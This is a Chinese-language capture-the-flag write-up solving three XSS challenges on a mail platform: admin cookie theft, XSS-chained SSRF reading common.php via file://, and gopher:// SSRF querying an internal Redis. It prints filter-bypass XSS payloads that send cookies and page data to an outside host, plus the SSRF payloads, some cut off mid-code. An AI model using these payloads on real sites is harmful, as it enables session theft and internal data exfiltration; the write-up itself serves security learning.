无意见看见了 Hack Me
看了下XSS 篇,记录一下
很经典XSS 从 Admin flag -> xssrf 文件泄漏 -> xssrf 服务端应用
我看做出来的人不多,其实也有点意思,其实这三题我可以直接几分钟秒了。后面再说
#1 Steal Admin flag
是一个登录注册的邮件平台,注册登录,页面很简单普通的收发邮件,管理员会看。三个点 用户名,主题,内容。
手动fuzzing一下(页面有验证)。发现
1 | () {} < script < svg onload |
存在过滤,还有一些函数,location.href,XMLHttpRequest 均过滤。走了一些小弯路。:)
后来发现并不是简单的过滤 on+++ 的事件函数, 它的正则可能是
1 | < [\w\s]+(onload)|(onerror) |
/ 绕之
1 | < svg/onload= |
最终playload:
1 | < img < /onerror=location[’href‘]=‘http://www.m4p1e.com:9999/’+document.cookie src=1 / > |
这里我没有用实体,因为没有必要,他过滤了location.href,
但是location[‘href’]
绕之
拿到第一个admin Flag
#2 XSSRF FILE
很显然,文件泄漏,肯定又一个点我们包含他的文件。目录扫了一下存在配置文件common.·php,其实我第一件事不是扫目录,我看了一下管理员的面板
1 | < img < /onerror=location[`href`]=`http://www.m4p1e.com:9999/`+encodeURIComponent(document.links[0])+`#`+encodeURIComponent(document.links[1])+`#`+encodeURIComponent(document.links[2])+`#`+encodeURIComponent(document.links[3])+`#`+encodeURIComponent(document.links[4])+`#`+encodeURIComponent(document.links[5])+`#`+encodeURIComponent(document.links[6])+`#`+encodeURIComponent(document.links[7])+`#` src=1 /> |
我看到我面板没有的一个页面request.php
,有点东西
看一下这个request.php页面(中途我试过用管理员的session登录过,但他判断来源了,只能localhost登录,只能ssrf)
1 | < svg/onload="var a = new & #88;MLHttpRequest();a['open']('get','./get.php',true& #41;;a.send(null& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& #41;location['href']='http://m4p1e.com:9999/'+btoa(a.responseText& #41;& #125;" > |
我没想着全部用实体来替代,XMLReuqestHttp,),}
替换一下就行
拿到了页面,是一个post 表单,一个参数url,清楚了呗。就是它了
第二个Flag 在 common.php 所以最终playload如下
1 | < svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=file:///var/www/html/common.php`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& |
读之拿到flag,也知道第三题redis的位置
第三题 XSSRF Redis
Redis 地址在 127.0.0.1:25566
gopher 之
1 | < svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_TYPE flag`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& |
是个list,看一下长度
1 | < svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_LLEN flag`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& |
53,即
1 | < svg/onload="var a = new & #88;MLHttpRequest(& #41;;‘open’](‘POST’,‘./request.php’,true& #41;;a.setRequestHeader(`Content-type`,`application/x-www-form-urlencoded`& #41;;a.send(`url=gopher://127.0.0.1:25566/_LRANGE flag 0 53`& #41;;a.onreadystatechange=function(& #41;{if(this.readyState==4& |
拿下第三个flag
文章最前面,我说这道题可以几分钟秒了是有原因的,嘻嘻,我发第一封信的时候,我发现信的id是几百,并不是从1开始,而后是连续的,这说明我可以读前面的邮箱。甚至发邮箱,其实是可以的。直接把前面的人的信读了之后很轻易就拿到flag,我也发现其实并不用外部接受,可以让管理员把你要的东西直接发到你的邮件里,如果xss bot 不能访问外网,那着也就是必经之路。
现在xssCTF 新题很多,每次都能学到新的东西,了解新的特性。告诉我了一个道理,也印证了前面的想法,Xss不仅仅是bypass filters,更多在于js的特性,事件,方法属性,游览器的特性(解析和容错),CSP,CSS。路还很长~